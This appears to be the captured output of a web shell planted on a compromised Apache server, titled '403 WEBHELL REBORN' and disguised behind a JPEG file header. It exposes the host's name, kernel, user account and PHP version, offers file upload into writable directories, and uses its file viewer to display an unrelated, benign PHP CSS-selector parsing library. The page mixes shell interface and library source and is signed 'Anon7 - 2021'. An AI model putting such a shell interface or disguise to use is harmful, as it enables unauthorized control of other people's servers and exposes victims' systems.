ÿØÿà JFIF  ` ` ÿþš 403 WEBHELL REBORN
403 WEBHELL REBORN
Server : Apache
System : Linux ruga7-004.fmcity.com 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : tkt_travelbus ( 1137)
PHP Version : 7.0.0p1
Disable Function : mysql_pconnect
Directory :  /tkt_travelbus/www/Lib/html_pahrser/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

Buat Folder Baru:
Buat File Baru:

Current File : /tkt_travelbus/www/Lib/html_pahrser/pharse_selector_html.php
<?php
/**
 * @author RESS.IO Team
 * @package Pharse
 * @link https://github.com/ressio/pharse
 *
 * FORKED FROM
 * @author Niels A.D.
 * @package Ganon
 * @link http://code.google.com/p/ganon/
 *
 * @license http://dev.perl.org/licenses/artistic.html Artistic License
 */

include_once('pharse_parser_html.php');

/**
 * Tokenizes a css selector query
 */
class Tokenizer_CSSQuery extends Tokenizer_Base
{

    /**
     * Opening bracket token, used for "["
     */
    const TOK_BRACKET_OPEN = 100;
    /**
     * Closing bracket token, used for "]"
     */
    const TOK_BRACKET_CLOSE = 101;
    /**
     * Opening brace token, used for "("
     */
    const TOK_BRACE_OPEN = 102;
    /**
     * Closing brace token, used for ")"
     */
    const TOK_BRACE_CLOSE = 103;
    /**
     * String token
     */
    const TOK_STRING = 104;
    /**
     * Colon token, used for ":"
     */
    const TOK_COLON = 105;
    /**
     * Comma token, used for ","
     */
    const TOK_COMMA = 106;
    /**
     * "Not" token, used for "!"
     */
    const TOK_NOT = 107;

    /**
     * "All" token, used for "*" in query
     */
    const TOK_ALL = 108;
    /**
     * Pipe token, used for "|"
     */
    const TOK_PIPE = 109;
    /**
     * Plus token, used for "+"
     */
    const TOK_PLUS = 110;
    /**
     * "Sibling" token, used for "~" in query
     */
    const TOK_SIBLING = 111;
    /**
     * Class token, used for "." in query
     */
    const TOK_CLASS = 112;
    /**
     * ID token, used for "#" in query
     */
    const TOK_ID = 113;
    /**
     * Child token, used for ">" in query
     */
    const TOK_CHILD = 114;

    /**
     * Attribute compare prefix token, used for "|="
     */
    const TOK_COMPARE_PREFIX = 115;
    /**
     * Attribute contains token, used for "*="
     */
    const TOK_COMPARE_CONTAINS = 116;
    /**
     * Attribute contains word token, used for "~="
     */
    const TOK_COMPARE_CONTAINS_WORD = 117;
    /**
     * Attribute compare end token, used for "$="
     */
    const TOK_COMPARE_ENDS = 118;
    /**
     * Attribute equals token, used for "="
     */
    const TOK_COMPARE_EQUALS = 119;
    /**
     * Attribute not equal token, used for "!="
     */
    const TOK_COMPARE_NOT_EQUAL = 120;
    /**
     * Attribute compare bigger than token, used for ">="
     */
    const TOK_COMPARE_BIGGER_THAN = 121;
    /**
     * Attribute compare smaller than token, used for "<="
     */
    const TOK_COMPARE_SMALLER_THAN = 122;
    /**
     * Attribute compare with regex, used for "%="
     */
    const TOK_COMPARE_REGEX = 123;
    /**
     * Attribute compare start token, used for "^="
     */
    const TOK_COMPARE_STARTS = 124;

    /**
     * Sets query identifiers
     * @see Tokenizer_Base::$identifiers
     * @access private
     */
    protected $identifiers = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ01234567890_-?';

    /**
     * Map characters to match their tokens
     * @see Tokenizer_Base::$custom_char_map
     * @access private
     */
    protected $custom_char_map = array(
        '.' => self::TOK_CLASS,
        '#' => self::TOK_ID,
        ',' => self::TOK_COMMA,
        '>' => 'parse_gt',//self::TOK_CHILD,

        '+' => self::TOK_PLUS,
        '~' => 'parse_sibling',

        '|' => 'parse_pipe',
        '*' => 'parse_star',
        '$' => 'parse_compare',
        '=' => self::TOK_COMPARE_EQUALS,
        '!' => 'parse_not',
        '%' => 'parse_compare',
        '^' => 'parse_compare',
        '<' => 'parse_compare',

        '"' => 'parse_string',
        "'" => 'parse_string',
        '(' => self::TOK_BRACE_OPEN,
        ')' => self::TOK_BRACE_CLOSE,
        '[' => self::TOK_BRACKET_OPEN,
        ']' => self::TOK_BRACKET_CLOSE,
        ':' => self::TOK_COLON
    );

    /**
     * Parse ">" character
     * @internal Could be {@link TOK_CHILD} or {@link TOK_COMPARE_BIGGER_THAN}
     * @return int
     */
    protected function parse_gt()
    {
        if ((($this->pos + 1) < $this->size) && ($this->doc[$this->pos + 1] === '=')) {
            ++$this->pos;
            return ($this->token = self::TOK_COMPARE_BIGGER_THAN);
        } else {
            return ($this->token = self::TOK_CHILD);
        }
    }

    /**
     * Parse "~" character
     * @internal Could be {@link TOK_SIBLING} or {@link TOK_COMPARE_CONTAINS_WORD}
     * @return int
     */
    protected function parse_sibling()
    {
        if ((($this->pos + 1) < $this->size) && ($this->doc[$this->pos + 1] === '=')) {
            ++$this->pos;
            return ($this->token = self::TOK_COMPARE_CONTAINS_WORD);
        } else {
            return ($this->token = self::TOK_SIBLING);
        }
    }

    /**
     * Parse "|" character
     * @internal Could be {@link TOK_PIPE} or {@link TOK_COMPARE_PREFIX}
     * @return int
     */
    protected function parse_pipe()
    {
        if ((($this->pos + 1) < $this->size) && ($this->doc[$this->pos + 1] === '=')) {
            ++$this->pos;
            return ($this->token = self::TOK_COMPARE_PREFIX);
        } else {
            return ($this->token = self::TOK_PIPE);
        }
    }

    /**
     * Parse "*" character
     * @internal Could be {@link TOK_ALL} or {@link TOK_COMPARE_CONTAINS}
     * @return int
     */
    protected function parse_star()
    {
        if ((($this->pos + 1) < $this->size) && ($this->doc[$this->pos + 1] === '=')) {
            ++$this->pos;
            return ($this->token = self::TOK_COMPARE_CONTAINS);
        } else {
            return ($this->token = self::TOK_ALL);
        }
    }

    /**
     * Parse "!" character
     * @internal Could be {@link TOK_NOT} or {@link TOK_COMPARE_NOT_EQUAL}
     * @return int
     */
    protected function parse_not()
    {
        if ((($this->pos + 1) < $this->size) && ($this->doc[$this->pos + 1] === '=')) {
            ++$this->pos;
            return ($this->token = self::TOK_COMPARE_NOT_EQUAL);
        } else {
            return ($this->token = self::TOK_NOT);
        }
    }

    /**
     * Parse several compare characters
     * @return int
     */
    protected function parse_compare()
    {
        if ((($this->pos + 1) < $this->size) && ($this->doc[$this->pos + 1] === '=')) {
            switch ($this->doc[$this->pos++]) {
                case '$':
                    return ($this->token = self::TOK_COMPARE_ENDS);
                case '%':
                    return ($this->token = self::TOK_COMPARE_REGEX);
                case '^':
                    return ($this->token = self::TOK_COMPARE_STARTS);
                case '<':
                    return ($this->token = self::TOK_COMPARE_SMALLER_THAN);
            }
        }
        return false;
    }

    /**
     * Parse strings (" and ')
     * @return int
     */
    protected function parse_string()
    {
        $char = $this->doc[$this->pos];

        while (true) {
            if ($this->next_search($char . '\\', false) !== self::TOK_NULL) {
                if ($this->doc[$this->pos] === $char) {
                    break;
                } else {
                    ++$this->pos;
                }
            } else {
                $this->pos = $this->size - 1;
                break;
            }
        }

        return ($this->token = self::TOK_STRING);
    }

}

/**
 * Performs a css select query on HTML nodes
 */
class HTML_Selector
{

    /**
     * Parser object
     * @internal If string, then it will create a new instance as parser
     * @var Tokenizer_CSSQuery
     */
    public $parser = 'Tokenizer_CSSQuery';

    /**
     * Target of queries
     * @var HTML_Node
     */
    public $root;

    /**
     * Last performed query, result in {@link $result}
     * @var string
     */
    public $query = '';

    /**
     * Array of matching nodes
     * @var HTML_Node[]
     */
    public $result = array();

    /**
     * Include root in search, if false the only child nodes are evaluated
     * @var bool
     */
    public $search_root = false;

    /**
     * Search recursively
     * @var bool
     */
    public $search_recursive = true;

    /**
     * Extra function map for custom filters
     * @var array
     * @internal array('root' => 'filter_root') will cause the
     * selector to call $this->filter_root at :root
     * @see HTML_Node::$filter_map
     */
    public $custom_filter_map = array();

    /**
     * Class constructor
     * @param HTML_Node $root {@link $root}
     * @param string $query
     * @param bool $search_root {@link $search_root}
     * @param bool $search_recursive {@link $search_recursive}
     * @param Tokenizer_CSSQuery $parser If null, then default class will be used
     */
    public function __construct($root, $query = '*', $search_root = false, $search_recursive = true, $parser = null)
    {
        if ($parser === null) {
            $parser = new $this->parser();
        }
        $this->parser = $parser;
        $this->root = $root;

        $this->search_root = $search_root;
        $this->search_recursive = $search_recursive;

        $this->select($query);
    }

    /**
     * toString method, returns {@link $query}
     * @return string
     * @access private
     */
    public function __toString()
    {
        return $this->query;
    }

    /**
     * Class magic invoke method, performs {@link select()}
     * @param string $query
     * @return HTML_Node|HTML_Node[]|false
     * @access private
     */
    public function __invoke($query = '*')
    {
        return $this->select($query);
    }

    /**
     * Perform query
     * @param string $query
     * @return HTML_Node|HTML_Node[]|false False on failure
     */
    public function select($query = '*')
    {
        $this->parser->setDoc($query);
        $this->query = $query;
        return (($this->parse()) ? $this->result : false);
    }

    /**
     * Trigger error
     * @param string $error
     * @internal %pos% and %tok% will be replace in string with position and token(string)
     * @access private
     */
    protected function error($error)
    {
        $error = htmlentities(str_replace(
            array('%tok%', '%pos%'),
            array($this->parser->getTokenString(), (int)$this->parser->getPos()),
            $error
        ));

        trigger_error($error);
    }

    /**
     * Get identifier (parse identifier or string)
     * @param bool $do_error Error on failure
     * @return string False on failure
     * @access private
     */
    protected function parse_getIdentifier($do_error = true)
    {
        $p = $this->parser;
        $tok = $p->token;

        if ($tok === Tokenizer_CSSQuery::TOK_IDENTIFIER) {
            return $p->getTokenString();
        } elseif ($tok === Tokenizer_CSSQuery::TOK_STRING) {
            return str_replace(array('\\\'', '\\"', '\\\\'), array('\'', '"', '\\'), $p->getTokenString(1, -1));
        } elseif ($do_error) {
            $this->error('Expected identifier at %pos%!');
        }
        return false;
    }

    /**
     * Get query conditions (tag, attribute and filter conditions)
     * @return array|false False on failure
     * @see HTML_Node::match()
     * @access private
     */
    protected function parse_conditions()
    {
        $p = $this->parser;
        $tok = $p->token;

        if ($tok === Tokenizer_CSSQuery::TOK_NULL) {
            $this->error('Invalid search pattern(1): Empty string!');
            return false;
        }
        $conditions_all = array();

        //Tags
        while ($tok !== Tokenizer_CSSQuery::TOK_NULL) {
            $conditions = array('tags' => array(), 'attributes' => array());

            if ($tok === Tokenizer_CSSQuery::TOK_ALL) {
                $tok = $p->next();
                if (($tok === Tokenizer_CSSQuery::TOK_PIPE) && ($tok = $p->next()) && ($tok !== Tokenizer_CSSQuery::TOK_ALL)) {
                    if (($tag = $this->parse_getIdentifier()) === false) {
                        return false;
                    }
                    $conditions['tags'][] = array(
                        'tag' => $tag,
                        'compare' => 'name'
                    );
                    $tok = $p->next_no_whitespace();
                } else {
                    $conditions['tags'][''] = array(
                        'tag' => '',
                        'match' => false
                    );
                    if ($tok === Tokenizer_CSSQuery::TOK_ALL) {
                        $tok = $p->next_no_whitespace();
                    }
                }
            } elseif ($tok === Tokenizer_CSSQuery::TOK_PIPE) {
                $tok = $p->next();
                if ($tok === Tokenizer_CSSQuery::TOK_ALL) {
                    $conditions['tags'][] = array(
                        'tag' => '',
                        'compare' => 'namespace'
                    );
                } elseif (($tag = $this->parse_getIdentifier()) !== false) {
                    $conditions['tags'][] = array(
                        'tag' => $tag,
                        'compare' => 'total'
                    );
                } else {
                    return false;
                }
                $tok = $p->next_no_whitespace();
            } elseif ($tok === Tokenizer_CSSQuery::TOK_BRACE_OPEN) {
                $tok = $p->next_no_whitespace();
                $last_mode = 'or';

                while (true) {
                    $match = true;
                    $compare = 'total';

                    if ($tok === Tokenizer_CSSQuery::TOK_NOT) {
                        $match = false;
                        $tok = $p->next_no_whitespace();
                    }

                    if ($tok === Tokenizer_CSSQuery::TOK_ALL) {
                        $tok = $p->next();
                        if ($tok === Tokenizer_CSSQuery::TOK_PIPE) {
                            $tok = $p->next();
                            $compare = 'name';
                            if (($tag = $this->parse_getIdentifier()) === false) {
                                return false;
                            }
                        }
                    } elseif ($tok === Tokenizer_CSSQuery::TOK_PIPE) {
                        $tok = $p->next();
                        if ($tok === Tokenizer_CSSQuery::TOK_ALL) {
                            $tag = '';
                            $compare = 'namespace';
                        } elseif (($tag = $this->parse_getIdentifier()) === false) {
                            return false;
                        }
                        $tok = $p->next_no_whitespace();
                    } else {
                        if (($tag = $this->parse_getIdentifier()) === false) {
                            return false;
                        }
                        $tok = $p->next();
                        if ($tok === Tokenizer_CSSQuery::TOK_PIPE) {
                            $tok = $p->next();

                            if ($tok === Tokenizer_CSSQuery::TOK_ALL) {
                                $compare = 'namespace';
                            } elseif (($tag_name = $this->parse_getIdentifier()) !== false) {
                                $tag = $tag . ':' . $tag_name;
                            } else {
                                return false;
                            }

                            $tok = $p->next_no_whitespace();
                        }
                    }
                    if ($tok === Tokenizer_CSSQuery::TOK_WHITESPACE) {
                        $tok = $p->next_no_whitespace();
                    }

                    $conditions['tags'][] = array(
                        'tag' => $tag,
                        'match' => $match,
                        'operator' => $last_mode,
                        'compare' => $compare
                    );
                    switch ($tok) {
                        case Tokenizer_CSSQuery::TOK_COMMA:
                            $tok = $p->next_no_whitespace();
                            $last_mode = 'or';
                            continue 2;
                        case Tokenizer_CSSQuery::TOK_PLUS:
                            $tok = $p->next_no_whitespace();
                            $last_mode = 'and';
                            continue 2;
                        case Tokenizer_CSSQuery::TOK_BRACE_CLOSE:
                            $tok = $p->next();
                            break 2;
                        default:
                            $this->error('Expected closing brace or comma at pos %pos%!');
                            return false;
                    }
                }
            } elseif (($tag = $this->parse_getIdentifier(false)) !== false) {
                $tok = $p->next();
                if ($tok === Tokenizer_CSSQuery::TOK_PIPE) {
                    $tok = $p->next();

                    if ($tok === Tokenizer_CSSQuery::TOK_ALL) {
                        $conditions['tags'][] = array(
                            'tag' => $tag,
                            'compare' => 'namespace'
                        );
                    } elseif (($tag_name = $this->parse_getIdentifier()) !== false) {
                        $tag = $tag . ':' . $tag_name;
                        $conditions['tags'][] = array(
                            'tag' => $tag,
                            'match' => true
                        );
                    } else {
                        return false;
                    }

                    $tok = $p->next();
                } else {
                    $conditions['tags'][] = array(
                        'tag' => $tag,
                        'match' => true
                    );
                }
            } else {
                unset($conditions['tags']);
            }

            //Class
            $last_mode = 'or';
            if ($tok === Tokenizer_CSSQuery::TOK_CLASS) {
                $p->next();
                if (($class = $this->parse_getIdentifier()) === false) {
                    return false;
                }

                $conditions['attributes'][] = array(
                    'attribute' => 'class',
                    'operator_value' => 'contains_word',
                    'value' => $class,
                    'operator_result' => $last_mode
                );
                $last_mode = 'and';
                $tok = $p->next();
            }

            //ID
            if ($tok === Tokenizer_CSSQuery::TOK_ID) {
                $p->next();
                if (($id = $this->parse_getIdentifier()) === false) {
                    return false;
                }

                $conditions['attributes'][] = array(
                    'attribute' => 'id',
                    'operator_value' => 'equals',
                    'value' => $id,
                    'operator_result' => $last_mode
                );
                $last_mode = 'and';
                $tok = $p->next();
            }

            //Attributes
            if ($tok === Tokenizer_CSSQuery::TOK_BRACKET_OPEN) {
                $tok = $p->next_no_whitespace();

                while (true) {
                    $match = true;
                    $compare = 'total';
                    if ($tok === Tokenizer_CSSQuery::TOK_NOT) {
                        $match = false;
                        $tok = $p->next_no_whitespace();
                    }

                    if ($tok === Tokenizer_CSSQuery::TOK_ALL) {
                        $tok = $p->next();
                        if ($tok === Tokenizer_CSSQuery::TOK_PIPE) {
                            $tok = $p->next();
                            if (($attribute = $this->parse_getIdentifier()) === false) {
                                return false;
                            }
                            $compare = 'name';
                            $tok = $p->next();
                        } else {
                            $this->error('Expected pipe at pos %pos%!');
                            return false;
                        }
                    } elseif ($tok === Tokenizer_CSSQuery::TOK_PIPE) {
                        $tok = $p->next();
                        if (($tag = $this->parse_getIdentifier()) === false) {
                            return false;
                        }
                        $tok = $p->next_no_whitespace();
                    } elseif (($attribute = $this->parse_getIdentifier()) !== false) {
                        $tok = $p->next();
                        if ($tok === Tokenizer_CSSQuery::TOK_PIPE) {
                            $tok = $p->next();

                            if (($attribute_name = $this->parse_getIdentifier()) !== false) {
                                $attribute = $attribute . ':' . $attribute_name;
                            } else {
                                return false;
                            }

                            $tok = $p->next();
                        }
                    } else {
                        return false;
                    }
                    if ($tok === Tokenizer_CSSQuery::TOK_WHITESPACE) {
                        $tok = $p->next_no_whitespace();
                    }

                    $operator_value = '';
                    $val = '';
                    switch ($tok) {
                        case Tokenizer_CSSQuery::TOK_COMPARE_PREFIX:
                        case Tokenizer_CSSQuery::TOK_COMPARE_CONTAINS:
                        case Tokenizer_CSSQuery::TOK_COMPARE_CONTAINS_WORD:
                        case Tokenizer_CSSQuery::TOK_COMPARE_ENDS:
                        case Tokenizer_CSSQuery::TOK_COMPARE_EQUALS:
                        case Tokenizer_CSSQuery::TOK_COMPARE_NOT_EQUAL:
                        case Tokenizer_CSSQuery::TOK_COMPARE_REGEX:
                        case Tokenizer_CSSQuery::TOK_COMPARE_STARTS:
                        case Tokenizer_CSSQuery::TOK_COMPARE_BIGGER_THAN:
                        case Tokenizer_CSSQuery::TOK_COMPARE_SMALLER_THAN:
                            $operator_value = $p->getTokenString(($tok === Tokenizer_CSSQuery::TOK_COMPARE_EQUALS) ? 0 : -1);
                            $p->next_no_whitespace();

                            if (($val = $this->parse_getIdentifier()) === false) {
                                return false;
                            }

                            $tok = $p->next_no_whitespace();
                            break;
                    }

                    if ($operator_value && $val) {
                        $conditions['attributes'][] = array(
                            'attribute' => $attribute,
                            'operator_value' => $operator_value,
                            'value' => $val,
                            'match' => $match,
                            'operator_result' => $last_mode,
                            'compare' => $compare
                        );
                    } else {
                        $conditions['attributes'][] = array(
                            'attribute' => $attribute,
                            'value' => $match,
                            'operator_result' => $last_mode,
                            'compare' => $compare
                        );
                    }

                    switch ($tok) {
                        case Tokenizer_CSSQuery::TOK_COMMA:
                            $tok = $p->next_no_whitespace();
                            $last_mode = 'or';
                            continue 2;
                        case Tokenizer_CSSQuery::TOK_PLUS:
                            $tok = $p->next_no_whitespace();
                            $last_mode = 'and';
                            continue 2;
                        case Tokenizer_CSSQuery::TOK_BRACKET_CLOSE:
                            $tok = $p->next();
                            break 2;
                        default:
                            $this->error('Expected closing bracket or comma at pos %pos%!');
                            return false;
                    }
                }
            }

            if (count($conditions['attributes']) < 1) {
                unset($conditions['attributes']);
            }

            while ($tok === Tokenizer_CSSQuery::TOK_COLON) {
                if (count($conditions) < 1) {
                    $conditions['tags'] = array(array(
                        'tag' => '',
                        'match' => false
                    ));
                }

                $tok = $p->next();
                if (($filter = $this->parse_getIdentifier()) === false) {
                    return false;
                }

                if (($tok = $p->next()) === Tokenizer_CSSQuery::TOK_BRACE_OPEN) {
                    $start = $p->pos;
                    $count = 1;
                    while ((($tok = $p->next()) !== Tokenizer_CSSQuery::TOK_NULL) && !(($tok === Tokenizer_CSSQuery::TOK_BRACE_CLOSE) && (--$count === 0))) {
                        if ($tok === Tokenizer_CSSQuery::TOK_BRACE_OPEN) {
                            ++$count;
                        }
                    }


                    if ($tok !== Tokenizer_CSSQuery::TOK_BRACE_CLOSE) {
                        $this->error('Expected closing brace at pos %pos%!');
                        return false;
                    }
                    $len = $p->pos - 1 - $start;
                    $params = (($len > 0) ? substr($p->doc, $start + 1, $len) : '');
                    $tok = $p->next();
                } else {
                    $params = '';
                }

                $conditions['filters'][] = array('filter' => $filter, 'params' => $params);
            }
            if (count($conditions) < 1) {
                $this->error('Invalid search pattern(2): No conditions found!');
                return false;
            }
            $conditions_all[] = $conditions;

            if ($tok === Tokenizer_CSSQuery::TOK_WHITESPACE) {
                $tok = $p->next_no_whitespace();
            }

            if ($tok === Tokenizer_CSSQuery::TOK_COMMA) {
                $tok = $p->next_no_whitespace();
                continue;
            } else {
                break;
            }
        }

        return $conditions_all;
    }


    /**
     * Evaluate root node using custom callback
     * @param array $conditions {@link parse_conditions()}
     * @param bool|int $recursive
     * @param bool $check_root
     * @return HTML_Node[]
     * @access private
     */
    protected function parse_callback($conditions, $recursive = true, $check_root = false)
    {
        return ($this->result = $this->root->getChildrenByMatch(
            $conditions,
            $recursive,
            $check_root,
            $this->custom_filter_map
        ));
    }

    /**
     * Parse first bit of query, only root node has to be evaluated now
     * @param bool|int $recursive
     * @return bool
     * @internal Result of query is set in {@link $result}
     * @access private
     */
    protected function parse_single($recursive = true)
    {
        if (($c = $this->parse_conditions()) === false) {
            return false;
        }

        $this->parse_callback($c, $recursive, $this->search_root);
        return true;
    }

    /**
     * Evaluate sibling nodes
     * @return bool
     * @internal Result of query is set in {@link $result}
     * @access private
     */
    protected function parse_adjacent()
    {
        $tmp = $this->result;
        $this->result = array();
        if (($c = $this->parse_conditions()) === false) {
            return false;
        }

        foreach ($tmp as $t) {
            $sibling = $t->getNextSibling();
            if ($sibling !== false && $sibling->match($c, true, $this->custom_filter_map)) {
                $this->result[] = $sibling;
            }
        }

        return true;
    }

    /**
     * Evaluate {@link $result}
     * @param bool $parent Evaluate parent nodes
     * @param bool|int $recursive
     * @return bool
     * @internal Result of query is set in {@link $result}
     * @access private
     */
    protected function parse_result($parent = false, $recursive = true)
    {
        $tmp = $this->result;
        $tmp_res = array();
        if (($c = $this->parse_conditions()) === false) {
            return false;
        }

        foreach ($tmp as $t) {
            $this->root = (($parent) ? $t->parent : $t);
            $this->parse_callback($c, $recursive);
            foreach ($this->result as $r) {
                if (!in_array($r, $tmp_res, true)) {
                    $tmp_res[] = $r;
                }
            }
        }
        $this->result = $tmp_res;
        return true;
    }

    /**
     * Parse full query
     * @return bool
     * @internal Result of query is set in {@link $result}
     * @access private
     */
    protected function parse()
    {
        $p = $this->parser;
        $p->setPos(0);
        $this->result = array();

        if (!$this->parse_single()) {
            return false;
        }

        while (count($this->result) > 0) {
            switch ($p->token) {
                case Tokenizer_CSSQuery::TOK_CHILD:
                    $this->parser->next_no_whitespace();
                    if (!$this->parse_result(false, 1)) {
                        return false;
                    }
                    break;

                case Tokenizer_CSSQuery::TOK_SIBLING:
                    $this->parser->next_no_whitespace();
                    if (!$this->parse_result(true, 1)) {
                        return false;
                    }
                    break;

                case Tokenizer_CSSQuery::TOK_PLUS:
                    $this->parser->next_no_whitespace();
                    if (!$this->parse_adjacent()) {
                        return false;
                    }
                    break;

                case Tokenizer_CSSQuery::TOK_ALL:
                case Tokenizer_CSSQuery::TOK_IDENTIFIER:
                case Tokenizer_CSSQuery::TOK_STRING:
                case Tokenizer_CSSQuery::TOK_BRACE_OPEN:
                case Tokenizer_CSSQuery::TOK_BRACKET_OPEN:
                case Tokenizer_CSSQuery::TOK_ID:
                case Tokenizer_CSSQuery::TOK_CLASS:
                case Tokenizer_CSSQuery::TOK_COLON:
                    if (!$this->parse_result(!$p->whitespace_skipped)) {
                        return false;
                    }
                    break;

                case Tokenizer_CSSQuery::TOK_NULL:
                    break 2;

                default:
                    $this->error('Invalid search pattern(3): No result modifier found!');
                    return false;
            }
        }

        return true;
    }
}

Anon7 - 2021